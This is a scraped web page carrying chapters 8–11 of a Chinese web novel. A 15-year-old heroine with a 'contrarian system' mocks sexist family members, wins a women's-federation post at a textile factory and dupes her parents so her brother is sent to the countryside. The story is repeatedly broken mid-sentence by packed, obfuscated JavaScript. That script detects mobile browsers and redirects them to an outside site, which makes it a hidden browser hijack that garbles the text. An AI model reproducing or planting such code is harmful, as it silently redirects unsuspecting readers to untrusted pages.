林光宗怒吼:“没断过人怎么了?谁家没个亲戚?你就是小气计较!” 王雪急得满脸通红,还想接着自证自己不小气。 宋知南却抬抬手,大声说:“停停,两位听我说两句。” 林光宗瞥了一眼宋知南,他认得贺胜男,妇联办公室只有两个人,这个女同志又是谁? 他不耐烦地说道:“你一边去,我家的事跟你没关系。” 宋知南微微一笑:“林同志,咱们工人阶级是一家,你家的事就是我家的事,怎么会跟我没关系呢?你先别急,你听我说完,这事我有办法。” 林光宗只好说:“行行,那你说吧。” 众人一听宋知南有办法,也很诧异。 宋知南环视一圈众人,又看了一眼何黛,何黛也用好奇的目光看着她。 宋知南用清晰洪亮的声音说道:“要我说,这个王小雪同志太过分了。” 她话音一落,王小雪气得脸更红了,怎么女同志不向着女同志说话,反倒向着男人说话?这个小同志就是太年轻才不理解她的苦楚。 王小雪生气了,但林光宗却很高兴,他就说嘛,是他占理儿,群众的眼睛是雪亮的,这个女同志是个好女人。 宋知南接着大声说:“林同志,我教你一招:你以后就把自己的衣裳给小舅子穿,自行车也给他骑,你天天去岳父岳母家干活做饭,把岳父家的所有亲戚接回家里住。你就给你老婆打个样板,让她瞧瞧模范是怎么当的,咱臊死她!” 林光宗呆住了。 围观群众先是瞠目结舌,然后哄然大笑。有人反应慢了一些,过了一会儿,才反应过来怎么回事,也跟着哈哈大笑。 妇联干事何黛也没忍住,噗嗤一声笑了出来。 王小雪直到这时才咂摸过来,原来是友军,刚才差点误伤人家。 这时候,杠精系统又开始播报了:宿主杠得好杠得妙,杠出了新风格,杠精值加5。 8. 第8章树社会主义新风,专为女同志鸣不平 林光宗这会儿终于反应过来,他瞪着眼睛怒声质问:“你这个女同志怎么说话的呢?我是来解决问题的,不是来听你胡咧咧的。” 宋知南故作惊讶:“我这不是在给你解决问题吗?你岳父岳母把你媳妇养这么大容易吗?你孝顺孝顺老人家怎么了?还有,你媳妇的弟弟年纪小,要你的东西又怎么了?当姐夫的就得大方些,别整天小气扒拉的,你看咱厂里别的姐夫怎么做的?” 林光宗:“你这是胡搅蛮缠,当媳妇的怎么跟当女婿的一样?” 宋知南恨铁不成纲:“林同志,你听听你说的叫什么话?当女婿的怎么了?儿媳妇孝顺公公婆婆是应该的,难道女婿孝顺岳父岳母就不应该?哦,你爸妈养大你不容易,你岳父岳母养大你媳妇就很容易?敢情你媳妇是树上结的?” 围观众人再次大笑:“哈哈哈。” 王小雪忍俊不禁,用欣赏的目光看着宋知南。对啊,林光宗天天说他爸妈不同容易,难道自己爸妈就容易吗?以前自己怎么就那么傻,他一说自己爸妈不容易,她就跟着体谅他,尽心尽力地孝顺公婆,结果呢?公婆得寸进尺、贪得无厌。林光宗从来就没有体谅过自己的难处。 林光宗被噎得一句话也说不出来,只是拿一双赤红眼睛狠狠地瞪着宋知南。 宋知南摇头叹息:“唉,现在的男人真是一代不如一代。还是老一代的男人更有担当,更大方。” 说着,她看向人群中的一个大爷,“大爷,您说是不是?你们那一代男人是不是更大方更有担当?” 大爷一脸骄傲:“那可不是,现在的年轻人确实不太行。” 大爷旁边的大妈忍不住撇嘴,可拉倒吧,男人无论老的少的,就没一个好的。她活这么大什么样的男人没见过?可就没见过好的。 林光宗说不过宋知南,又觉得很没面子,转身就要离开。他一边往外走一边说:“你这人不讲道理,我不跟你说了,我等你们贺主任回来再说。” 宋知南热情挽留:“林同志,你别走啊。你就说我说的解决办法好不好吧?你就照我说的去做,臊一臊你媳妇怎么了?” 王小雪也跟着说:“对啊,林光宗,我回家就把我爸妈和亲戚也接到咱们家,咱们一起孝顺呗。” 她决定了,回家就按这个女同志说的去做,把家里的自行车给弟弟骑,把林光宗的手表给父亲戴,你做得了初一我就做十五,既然你不想好好过日子,那大家都别过了,不能光她一个人糟心。 林光宗气呼呼地离开了。 王小雪还停在原地,她上前感谢了宋知南一番,接着问道:“同志,你叫什么名字?是妇联新来的干事吗?” 宋知南语气诚挚:“我叫宋知南,我家里也有姐姐,跟你年龄差不多,看到你我就想起了自己的姐姐,心中那股激愤之情难以遏制,就忍不住上来多说几句。我看得出来,你跟所有的工人姐妹一样,通情达理,爽朗大方,你要是不大方,哪能忍你婆家亲戚那么久?压根门都不让他们进。你这样的好同志,不应该被人泼脏水。” 王小雪觉得这话真正说到了她心坎里,要不是刚认识,她恨不得拉着宋知南跟她义结金兰。 王小雪还想再跟宋知南多聊会儿,不过上工时间快到了,她只能恋恋不舍地离开了,“我叫王小雪,是第七车间的,你有空来找我。” “好的,好的。” 上班时间快到了,其他人只能意犹未尽地离开了。 不过,宋知南的这一番话又出名了,那个“咱臊死他”也成了大家引用最多的名句。 等到大伙离开后,何黛上前跟宋知南打招呼,热情地请她进屋喝茶聊天,这正中宋知南的下怀。 她跟着何黛进了妇联办室,何黛给她倒了一茶缸茶水,两人你一句我一句地闲聊。 纺织厂很大也很小,两人虽然不认识,但仔细一问,彼此的圈子肯定有交集。 “哎呀,你大姐跟我二姐的同学的小姑子的邻居在一个厂子里;哎呀,咱俩是一个学校毕业的,我比你高两届。我表妹跟你的朋友陆诗月是同班同学。” 两人越聊越亲近,聊到最后,仿佛认识了很多年似的。 宋知南觉得气氛烘托得差不多了,就开始向何黛打听:“何同志,我听说你们妇联在招人?” 何黛打量着宋知南:“是有这么回事,来打听的人很多,还有不少人开后门递条子。不过我们主任要求很严格,不光要能写会算,口才好,还得性格泼辣,最好是已婚的,处理事情比较方便。你别的方面都挺好,就是这年纪……” 宋知南今年十五岁,这年纪也不算太小,这个年代,有的人十四岁就参加工作了。 性格泼辣,没问题,要多辣她就能有多辣。 但贺主任要求已婚,她就不符合了。 宋知南并不气馁,说道:“我明白的,主任要求已婚,是想着处理工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565012|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作比较方便,毕竟咱们这些年轻未婚女同志,通常脸皮比较薄,又因为这样那样的要求容易放不开。” 何黛频频点头:“就是这个意思。你看刚才,主任不在,我险些应付不过来。今天还算好的呢,还有的老人家直接撒泼打滚,还有的啥话都往外说,我听也不是,不听也不是。”上次有对夫妻吵架,把床上的那点事都抖落开了,她窘得满脸通红。 宋知南接着说:“不过,我跟别人不一样,我心中装着领袖的思想,秉持着马克思主义妇女观,我敢对封建旧思想开战。” 何黛:“那你真勇敢。” 何黛其实挺欣赏宋知南 ,这姑娘口才好,表面看着文静,但内里辣,能镇得场子。可惜她只是一个小干事做不了主,就说:“那你得等贺主任回来,我做不了主。不过我很喜欢你。要是咱们能做同事就好了。” 宋知南一脸欣喜:“真的吗?我也很喜欢你。要是能和你当同事那可太幸福了。你想啊,同事可是得一周见六天,一呆就是一整天,甚至比家人相处得时间都长,要是遇到不喜欢的合不来的人,那日子可怎么过?” “你说得特别对。” 宋知南接着说:“你说咱们这样脸皮薄又心思单纯的年轻女孩要是碰上那种经验老到爱算计人的老油条,可怎么应付?又不能随便换工作,想想都愁人。” 何黛越听越想把宋知南留下来,只可惜她没有权限。 何黛做不了别的,就想多留宋知南呆一会儿,反正自己一个人呆着也无聊。她想起贺主任临走时交代她在墙上刷标语和出黑板报,就邀请道:“宋同志,你下午要是没事就跟我一起去刷标语吧?” 宋知南自然答应,并自告奋勇地要帮着干活。 何黛用红漆写标语:千万不要忘记阶级斗争,妇女能顶半边天。 写了几行常见标语后,何黛觉得不太满意,就试探着问宋知南:“宋同志,你说咱们再写点什么标语好?” 宋知南想了想,说:“我建议再刷一些能突出咱们妇联特色的标语,比如说‘树社会主义新风,专为女同志鸣不平’,‘妇联大舞台,委屈你就来’。” 何黛双眼放光:“宋同志,你真是个人才。咱们就写这个。” 何黛认真地刷上标语,退后几步观察,越看越满意。 何黛和宋知南正在欣赏着墙上的标语,只听得一个女声揶揄道:“哟,小何同志,这标语写得不错嘛。” 9. 第9章今天发挥很稳定 何黛回头一看,见是贺胜男,连忙招呼道:“贺主任回来了。” 宋知南也笑着叫了一声贺主任,贺主任三十多岁,中等身材,剪了个□□头,声音洪亮,走路带风。 贺胜男看了一眼宋知南,正要问她有什么事。何黛赶紧拉过宋知南介绍给贺主任:“贺主任,她叫宋知南。宋同志可厉害了,今天帮我解决了一个难题。” 接着,何黛小嘴叭叭地把事情的经过讲了出来。 贺胜男认真听着,时不时地询问一些细节。 等到何黛说完,她便用欣赏的目光看着宋知南:“小宋同志,你确实是个人才。” 何黛又指指墙上的标语接着说:“还有呢,这墙上的标语也是宋同志想出来的,她脑子真好使。” 宋知南谦虚道:“这是我们俩一起想出来的。” 贺胜男面带微笑地看着宋知南,她看得出来这姑娘是有备而来,当下心思就有些活动,这样的人才确实挺适合她们妇联。妇联要招人的消息一放出去,很多人都过来问,还有人走后门送礼。她跟杨主任的要求很严格,现在人选还没定下来。 妇联办公室只有两个名额,何黛占了一个,何黛是个年轻姑娘,有些事应付不来。贺胜男原本打算再招个能写会算、脑子活络又性格泼辣的年轻媳妇进来,也好应付那些蛮不讲理的婶子大娘们。 见贺胜男神色犹豫,宋知南赶紧趁热打铁:“贺主任,我虽然年轻,但我们家孩子多,亲戚多,家庭情况比较复杂,我对这方面的经验比同龄人丰富。而且我这人从小就爱打抱不平,爱为女同志发声,昨天我们院里发生了一件事,我们院有个魏姐,她生了两个女儿,她爱人说她生不出儿子对不起祖宗,还叫她把工作让给自己弟弟。我一听就火了,就对魏姐的爱人说,祖宗希望你年年考第一,希望工作每年拿先进,你做到了吗?你上学时不好好学习,工作时偷懒摸鱼,怎么一到生孩子就觉得对不起祖宗了?而且什么祖宗不祖宗的,那是封建旧思想,新时代讲究男女都一样。” 何黛听着听着忍不住大声叫好:“宋同志,你骂得真好。” 贺主任点头称赞:“小宋说得不错。” 宋知南接着说:“其实你们妇联招人的消息也是魏姐告诉我的,她把昨天的事告诉厂里的姐妹们,大家都开玩笑说我适合来妇联工作,她们就需要我这样的娘家人,鼓励我过来问问,我今天就鼓起勇气来看看。” 贺胜男不由得一怔,这个小宋还没工作就有群众基础了?他们纺织厂的女职工很多,妇联工作量也很大,所以工会的女工委(女职工委员会)才决定成立妇联办公室。要不然的话,光女工委就够用了。 贺胜男认真考虑了一会儿,这个宋知南的缺点是年纪小,未婚。优点也很明显,口才好,胆子大,脑子灵活,而且还有群众基础。她就破例一次吧,不过她还得过杨主任那一关。 贺胜男也是个爽快人,当下就说道:“小宋,你很不错。这样吧,你明天上午九点来办公室,我带你去见见女工委主任杨主任,听听她的意见。” “好的,谢谢贺主任。” 宋知南告别贺胜男和何黛,往家走去。 宋冬宝已经回家了,宋知南眼睛一瞪,他就知道自己该干什么,赶紧乖乖地去准备晚饭。 宋知南在一旁指点他:“焖个杂粮饭,炒个醋溜白菜,拌个萝卜丝,做个番茄蛋汤。” 宋冬宝在厨房翻找一会儿,问:“姐,鸡蛋怎么没了?” 宋知南笃定地说:“鸡蛋肯定被大哥偷吃了,他这人从小就爱偷吃。” 宋冬宝无言以对,大哥天天不挨家,他怎么偷吃生鸡蛋?不过姐姐说什么就是什么吧。 宋冬宝做饭,宋知南回房间背书做功课。 过了一会儿,大家陆续回来,院子里开始热闹起来。 宋上进和李玉华一到家,就迫不及待地问宋知南:“小南,你今天去知青办报名了吗?” 宋知南头也不抬地答:“报了报了,不信你问大哥。” 两人不约而同地松了口气。 李玉华一听宋知南已经报上名了,想着事情已成定局,眼珠一转就想作妖,便试探道:“小南,你看家里现在挺困难,你一时半会又用不了那么多钱,要是丢了怎么办?不如你把钱留在家里,等以后你需要用钱,我再给你寄过去。” 宋知南冷笑:“你做梦呢?小时候骗我的压岁钱,现在又想骗我的救命钱,想得美。” 杠精值加5。 李玉华拉着脸:“我是你亲妈,你连我都不信?” 宋知南针锋相对:“就是亲妈才不敢信,别人骗我我能报公安。你骗我,我能拿你怎么办?我们女孩就要防火防盗防父母兄弟。” 李玉华:“……” 杠精值再加5。 宋知南把李玉华的念头摁得死死的,“李同志,我把话给你说清楚,你要是敢打我钱的主意,我就举报你儿子对女同学耍流氓,毁了他的一生。” 李玉华和宋上进同时跳脚:“你胡说八道,你哥是个正派人!” 宋知南:“你们怎么证明他正派?他看着像正经人吗?” 李玉华拍着大腿嚎叫起来:“我做的是什么孽,生了你这么个白眼狼,你这是随了谁?” 宋知南语气平淡:“很简单,我随你俩呗。” 宋上进心中烦躁:“行啦,别嚎了,赶紧去厨房看看,冬宝能做出啥饭菜来,别让他糟蹋粮食。” 宋上进一个劲地摇头叹息,一脸失望地看着宋知南。宋知南像是没看见他似的,你爱失望不失望。 原主害怕父母失望,一直渴望得到父母的认可。每当父母流露出这样的神情时,原主就疯狂内疚自责,觉得肯定是自己做错了什么让爸妈失望了。 但她可不会,她敢于让任何人失望。因为她早就明白一个道理:期望是一种微妙的暴力,你渴望得到谁的认可,就会成为谁的奴隶。她不想成为任何人的奴隶,只想成为他们的主人。 宋上进叹息完毕又开始爹味说教:“小四啊,你下乡后可不能再由着自己性子了,家里人惯着你,外人可不会惯着你。” 宋知南一脸疑惑:“哦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565013|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,家里人惯过我?我怎么不知道?” 宋上进再次无言。 宋知南不懂就问:“如果家里人对我那样是惯着,那对宋秋实和宋冬宝算什么?算锻炼吗?” 宋上进还是无言以对。 杠精系统:杠精值加10。 宋知南满意地离开了客厅。 半小时后开饭,宋秋实再次掐着饭点回家。 因为宋知南已经报上名了,宋秋实压在心口的石头终于放下了,人也放松下来,再加上大家都觉得宋知南在家呆不了两天了,因此对她态度都还行。宋家的氛围难得的轻松,甚至有些愉悦。 宋知南懒得融入他们一家子,热闹都是他们的,跟自己无关,只有饭菜跟自己有关。 她连干了两大碗杂粮饭,菜也没少吃。 宋秋实蹙着眉头嫌弃地看了宋知南一眼:“小南你咋回事?饭量变得比我还大。” 宋知南撩了一下眼皮,淡淡地答道:“因为我动脑子,你又没脑子。” 宋秋实把筷子啪地扔在桌上,“你怎么说话的?” 宋知南霍地站起来,一把揪住宋秋实的衣领,用冷飕飕的声音问道:“怎么,皮又痒了是吧?一天不打上房揭瓦,我最讨厌别人在我吃饭时找事。” 宋上进和李玉华一看事情不好,赶紧把两人拉开:“你们俩就不能懂点事吗?” 宋冬宝吓得像鹌鹑似的缩在一旁,太可怕了。三姐真的疯了,一言不和就动手开打。 李玉华和宋上进一人站一边,好声哄劝宋秋实:“秋实,你别跟你妹一般见识,你就忍她几天,反正她马上就下乡了。” 宋知南转身回屋去了。 宋知夏吃完晚饭才回来,她一回到房间就发现自己的衣柜被人动了,她忍着气问宋知南:“小南,你翻我的东西了?” 宋知南坦然承认:“对啊,你以前翻我的,我就翻你的呗。” 宋知夏耐着性子跟她讲道理:“小南,不经人允许,随便翻别人的东西是不对的。” 宋知南:“哦,你还知道不对啊,那你以前为啥偷看我的日记呢?” 宋知夏语结,很快就找到了借口:“我那时年纪小,不懂事。” 宋知南微微一笑:“我也年纪小啊,我也不懂事啊。” “你十五了还不懂事,咋好意思说出口?” “偷看我日记时你已经上初中了,你咋好意思的?你懂事我就懂事,你不懂我也不懂。” 宋知夏气得胸脯起伏着,死死地盯着宋知南,宋知南也盯着她看,直到对方先移开目光。 宋知夏气呼呼地起身:“宋知南,你以后会为你的性子付出代价的。” 宋知南毫不退让:“我的代价就是越来越爽,百因必有果,你们的报应就是我。” 宋知夏拉着脸去找父母告状,只是宋上进和李玉华也不敢惹宋知南,还反过来劝她做为姐姐要大度些。 宋知夏是有苦说不出。 全家唉声叹气,只有宋知南气息平稳,心情舒畅,今天发挥很稳定,又是相当满意的一天。 10. 第10章组织就需要你这样的人才 次日早饭后,宋知南穿着昨天的衣裳,收拾妥当,准备出门。 宋知夏一直盯着宋知南身上的衣裳看,没好气地说:“你穿完记得还回来。” 宋知南头也不回地说:“还不还就看你表现。” 宋知夏想怒又不敢怒。 宋知南出门遇到魏芬,魏芬冲她眨眨眼,两人默契地避开人群,魏芬小声问:“我昨晚没来得及问,事情办得咋样了?有戏不?” 宋知南小声说:“幸亏魏姐告诉我这个消息,我去得很及时,贺主任挺喜欢我的,今天贺主任带我去工会见她的领导,她领导要是满意我就能留下来了。姐,麻烦你继续替我保密,我害怕我爸妈弄出幺蛾子来。” 魏芬点头:“你放心,我明白的。” 魏芬想了想又说:“你一定要好好把握住这个机会,该送礼就送礼,别舍不得。” 说到这里,她迟疑片刻,接着下定决心:“你要是手头没钱,我可以借给你,等你上了班发了工资再还我就行。” 能主动借钱的人都是大好人呀,宋知南心中感动,连忙说:“不用,我手里有钱。” 魏芬见她真不需要,就拍拍宋知南的肩膀:“那行,我去上班了,下午回来记得告诉我结果。” 宋知南先去了妇联办公室,何黛已经来上班了。一看到宋知南就热情地拉着她说话,她小心嘱咐道:“一会儿你见了杨主任,可别害怕,她这个人看着严肃,其实人挺好的,真心为咱们女工着想。” “我本来有点紧张,你一安慰我就不紧张了。” 她们说着话,贺胜男也来上班了。 贺胜男一进来就说:“小宋,你准备一下,咱们趁着刚上班,杨主任还不太忙,赶紧过去。杨主任不但是女工委主任还是工会副主席,整天忙得脚不沾地。” “好的,我已经准备好了。” 贺胜男带着宋知南往工会办公室走去,在门口轻轻敲了敲门:“杨主任,我是小贺。” 里面传来一个清亮的声音:“小贺啊,进来吧。” 两人一起进了办公室,杨主任正在办公桌前忙着什么,宋知南飞快地打量了她一眼,杨主任大约四十岁左右,身材高大健壮,坐姿笔挺,一头精神利落的齐耳短发,肤色微黑,双目炯炯有神。 贺胜男指着宋知南说:“杨主任,这位小同志叫宋知南,她母亲是咱们纺织厂的老工人,父亲是隔壁国棉厂的。小同志口才不错,脑子灵活,还挺有正义感,挺适合咱们妇联的。我带她过来让您看看行不行。” 杨主任打量了宋知南一眼,宋知南大大方方地向她问好。 杨主任冲宋知南点点头,转头问贺胜男:“你不是说想招一个能写会算、性格泼辣的已婚妇女吗?怎么又改变主意了?” 贺胜男笑着回答:“原本是这么打算的,但我瞧着小宋实在合适,这不又改变主意了。” 杨主任见贺胜男如此推崇宋知南,不禁也有些好奇。 贺胜男长话短说,把宋知南这两天的“战绩”简明扼要地叙述了一遍。 杨主任听罢,也是忍俊不禁,这个小同志确实有点意思。性格泼辣,口才好,有正义感不说,连劝架方式都别具一格。怪不得贺胜男喜欢, 杨主任饶有兴趣地问宋知南:“小宋,你当时是怎么想到这些话的?” 宋知南朗声回答:“杨主任,我从小就喜欢读书思考,尤其喜欢领袖和革命导师马克思的书,我也一直把马克思妇女观当作指导思想,并试着用理论来指导实践,平时在生活中活学活用。 我认为,女人和男人只是生理不同,社会分工不同,我们在任何方面都不逊于男人。我就见不得那些封建旧思想,但凡发现旧思想要死灰复燃,我就想把它们浇灭。就比如说我们院里那个邻居,天天说什么对不起列祖列宗,他祖宗希望他好好学习天天向上,希望他为祖国做贡献,他咋不奋起直追,知耻后勇呢?怎么一到生孩子就拿祖宗来说事?谁说有后代才对得起祖宗?咱们伟大的总理同志和他爱人邓同志,为了革命事业,不也没有后代?谁能说他们对不起祖宗?周家和邓家的祖宗有他们这样的后代,在地下也肯定会倍感光荣。” 贺胜男和杨主任忍不住一齐笑了出来。 杨主任接着严肃地说道:“小宋啊,你有正义感有锐气非常好,不过,你也得知道,咱们纺织厂百分之七十的工人都是女工,你们妇联的工作是十分琐碎复杂的,有些家属是非常难缠的,你做好思想准备了吗?” 宋知南语调铿锵有力:“杨主任,我觉得这世上就没有一样工作是不难的,但我们革命青年就是要勇敢向前不怕困难,我的名字叫宋知南,寓意就是知难而上,永不后退。” 杨主任称赞道:“你爸妈挺会取名字啊。” 宋知南一点也不想给宋上进两口子脸上贴金,就说道:“我爸妈文化程度有限,这名字是上户口时工作人员帮忙取的,这名字代表了组织对我的期许和鼓励。” “原来这样。” 杨主任谈兴正浓,一个梳着两条黑亮长辫的年轻姑娘站在半开的门前敲门示意,“杨副主席,厂委通知咱们过去开会。” “好,我马上就过去。” 贺胜男适时提出告辞。 杨主任爽快地说道:“小贺,你眼光不错。小宋算是通过咱们的现场考试了。你抽个时间给小宋同志办个入职,组织就需要她这样的人才。” “好的杨主任。” 宋知南和贺胜男满意地离开了工会办公室。 宋知南一出门,就一脸感激地说道:“贺主任,你真是我的伯乐,我一切行动听从你和杨主任的指挥,你们指哪儿我打哪儿。” 贺主任笑了笑,“你这个小同志挺能说。” 贺胜男考虑片刻,说:“那这样吧,明天我们大家要去开会,你回去先准备准备,后天上午来办手续。” “好的,没问题。” 宋知南想着,按知青办说的时间,后天早上,知青们就要出发了。到时一切已成定局,宋上进和李玉华想作妖也无济于事,送走宋秋实后,她就可以安心上班了。 出了妇联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565014|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办公室,宋知南没有直接回家,她先去理发店花2毛钱剪了个短发。接着去供销社和商店逛了一圈,买了一身成衣,军绿色裤子和白衬衫,又买了一双黑皮鞋。到布店扯了几尺卡其布,其他的打算以后再买。 宋知南正准备离开,就看见门口进来一男一女,男俊女靓,十分引人注目。 男的用低沉的声音问道:“茶茶,你喜欢什么随便挑,我有的是布票。” 茶茶?原书女主江茶? 宋知南飞快地打量了一眼江茶和她身边的男人。 江茶对别人的目光很敏锐,察觉到宋知南的打量,立即转头看着她。 宋知南只看了一眼就不再感兴趣,她只是想认认人而已。她以后尽量不跟这些人打交道。 宋知南提着东西快步离开。 路上,宋知南又努力回忆了一遍剧情,好像她在书中只是衬托女主的工具人,两人之间没有发生太大的冲突。既然如此,她就没必要耗费心思去防备女主,各自安好吧。不过让她衬托别人,那是不可能的。她不踩别人已经是最大的善良。 宋知南出了布店又去废品回收站,回收站里有旧书旧杂志还有一些旧家具,捡漏的可能性不大,毕竟别人也不是傻子,有好东西早被收废品的弄走了。 宋知南在里面翻了半天,买了一摞有关纺织的旧杂志,一叠旧报纸,两个塑封笔记本,几本红色小说,一共花了3毛钱。 逛到中午,她去国营饭店吃了碗肉丝面,吃饱喝足回家。 一到家宋知南把宋知夏的衣裳脱了往她床上一扔,还给她。她把自己的新衣裳洗了干净,晾在阳台,准备后天上班时穿。忙完这些,她睡了个美美的午觉。 睡醒后,宋知南继续看书学习和整理东西。 晚饭还是宋冬宝做的,宋秋实依旧踩着饭点回家。 吃饭时,宋上进态度温和地对宋知南说:“小四,我听院里的老胡说,后天早上七点半,知青们在火车站的广场上集合,你明天别到处跑了,抓紧时间买点随身要用的东西。到了乡下要好好劳动,听队长的安排,跟乡亲们好好相处。记住,凡事不要强出头。记得多给家里写信。” 宋知南淡漠地嗯了一声。 宋上进对李玉华说:“玉华,你给小四多准备些吃的喝的。” 李玉华敷衍地应了一声,丝毫没有要准备的意思。本来,她对这个女儿的母爱就很稀薄,这几天宋知南又不停地作妖,消磨了她最后的一点爱意。现在李玉华都懒得多看宋知南一眼,巴不得她赶紧滚蛋。准备东西是不可能的。要换了大儿子,她哪怕去借也要给他多带些吃的用的。 宋知南一点也不伤心难过,什么母爱父爱,这些东西生来没有就是没有,不要执着。爱自己才是终身浪漫的开始。以她的自爱程度,她这辈子将会过得极度浪漫。 而宋上进和李玉华不作任何准备,自然坑的是自己的宝贝儿子,这事嘛,他们后天早上就会知道了。 事实上,根本不用等到后天早上,第二天下午,知青办的工作人员就上门来通知了。 11. 第11章事发、对峙 当时,宋上进和李玉华刚下班,两人接到知青办的通知,犹如晴天霹雳。 李玉华愣了一下,随即便死死地抓住工作人员,用难以置信的语气问道:“同志,你们是不是弄错了?不是我女儿宋知南下乡吗?为什么变成我儿子宋秋实了?你们一定是弄错了对不对?” 工作人员认真核对了一下名单,用笃定的语气说:“没弄错,这上面写的就是宋秋实,插队的地方是黑省。” 李玉华尖叫一声:“这不可能,我儿子没去报名!” 宋上进也是一脸焦急,很快他就想到了事情的关键,便急声问:“同志,报名不应该是本人报吗?名是我女儿宋知南报的,去的是我儿子宋秋实,这不符合规定吧?” 接待报名的是一个人,来通知的是另一个人,他们也不清楚这里的弯弯绕绕。 工作人员摇头:“我也不知道你们家是谁报的名,但这上面确实是宋秋实的名字,作不了假。我们还要去别家通知。你们的户口办没?没办的话,你们赶紧去派出所迁户口,今天他们加班加点。”工作人员通知完,赶紧离开这个是非之地。 宋上进和李玉华快步追上去,问工作人员能不能更改,对方自然不答应:“名单昨天就报上去了,都要出发了,你说要改就改呀?再说了,你儿子比你女儿更适合下乡。两位同志,你们这思想觉悟不行啊。” 两人一脸绝望地看着工作人员离开,院子里的邻居们听说这事后议论纷纷。 “这是咋回事啊?” “不是说是小南下乡吗?咋突然改成秋实了?” “谁知道呢。” “这个小南是个狠人呀,不声不响干大事。” “这下宋家要热闹了。” …… 李玉华和宋上进带着宋秋实,拿着户口本不死心地去知青办问能不能换人,结果终于让他们死心了。三人阴沉着脸去派出所迁户口,宋秋实的城市户口是要注销的,迁到他插队的地方,以后城里就没有他的供应粮了。 宋秋实迁完户口说去找同学再问问。 宋上进和李玉华失魂落魄地回家,李玉华一到家,再也无法控制自己,尖声大叫:“宋知南呢,宋知南,你这个黑心烂肺的白眼狼给我滚出来!” 众人目光炯炯地盯着这一家人,看来一场大戏又要上演了。 宋上进和李玉华怒气冲冲的锁上门,把邻居们窥探的目光隔绝在门外,两人一脸杀气地冲到宋知南的小房间里。 宋知南坐在床沿上,好整以暇地抱臂等着他们:“你们也知道了?” 宋上进气得五官扭曲,颤抖的手指着宋知南:“宋知南,你好大的胆子,你骗了全家!” 李玉华歇斯底里地大叫着:“为什么下乡的不是你?为什么不是你?你怎么不去死?” 宋知南不恼不怒,心平气和地说道:“事情已成定局,再闹下去又有什么意义呢?你们以前常跟我说,吃亏是福,退一步海阔天空,你们这次就退一步享享福不好吗?” 宋上进:“……” 没错,这是他常挂在嘴边的话,但只能他对别人说,不能反过来。 杠精系统:杠精值加5。 李玉华没有心情跟宋知南讲道理,上手就要打。 宋知南抓住她的手用力一甩,李玉华一个趔趄,蹬蹬后退几步,险些撞到墙上。 李玉华站稳后捶着墙大哭:“你竟敢对我动手,你反了天,我要让街坊邻居都知道你是个不孝女,不但坑自己亲哥,还动手打自己亲妈,我倒要看看,你还有没有脸活下去,我看你以后怎么找婆家。” 宋知南有恃无恐:“你去啊,去吆喝呀。我实话告诉你们吧,无论我顶着怎样的名声,我都能活下去。我也不打算找婆家,倒是你们,应该好好想想,会不会影响家里其他几个孩子的婚事。毕竟,大家要议论也是一起议论的,没道理只说我却把你们摘出来吧。人家只会说,那宋家出了个逆女,肯定是爹妈没教好,肯定是祖上的遗传,他们家其他孩子肯定也好不到哪里去。毕竟,老话得说好,子不教,父之过;女不孝,妈的错;子孙不好,那肯定是老祖宗的锅。坏了我一个,牵连全宋家,有你们陪着,我有什么可怕的。” 李玉华和宋上进一起沉默了。 杠精系统:杠精值加10。 等到宋秋实回家,三人忍不住抱头痛哭。宋秋实双眼赤红,一副要吃人的模样。 宋知南怕对方失去理智真跟她动手,也怕全家一起打她,到时她双拳难敌四手。为了做好防备,宋知南左手拿着剪刀,右手拿把水果刀,谁敢动手就送他温柔一刀。 女人都知道一句至理名言:宁见法官,不见法医。 她今年才十五岁,未成年,要是不小心捅死宋秋实和宋上进,属于反抗家庭暴力过当。因为捅的是自己的亲哥和亲爹,血水没流外人田,社会危害性较小,应该判不了几年。最坏的情况也不过如此,她能接受。 宋秋实本来无法控制自己的爆脾气,但一看到宋知南手中的剪刀和雪亮的水果刀,立即冷静下来了。 宋知南一看他的神色就知道他已经恢复了理智,说什么控制不住自己,蒙谁呢?如果他面对的是穷凶极恶的歹徒,面对的是拳击手,你看他能不能控制自己?还扯什么男女绝对力量,五岁小孩子拿把菜刀,你试试敢不敢用绝对力量去空手夺刀?她一个十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 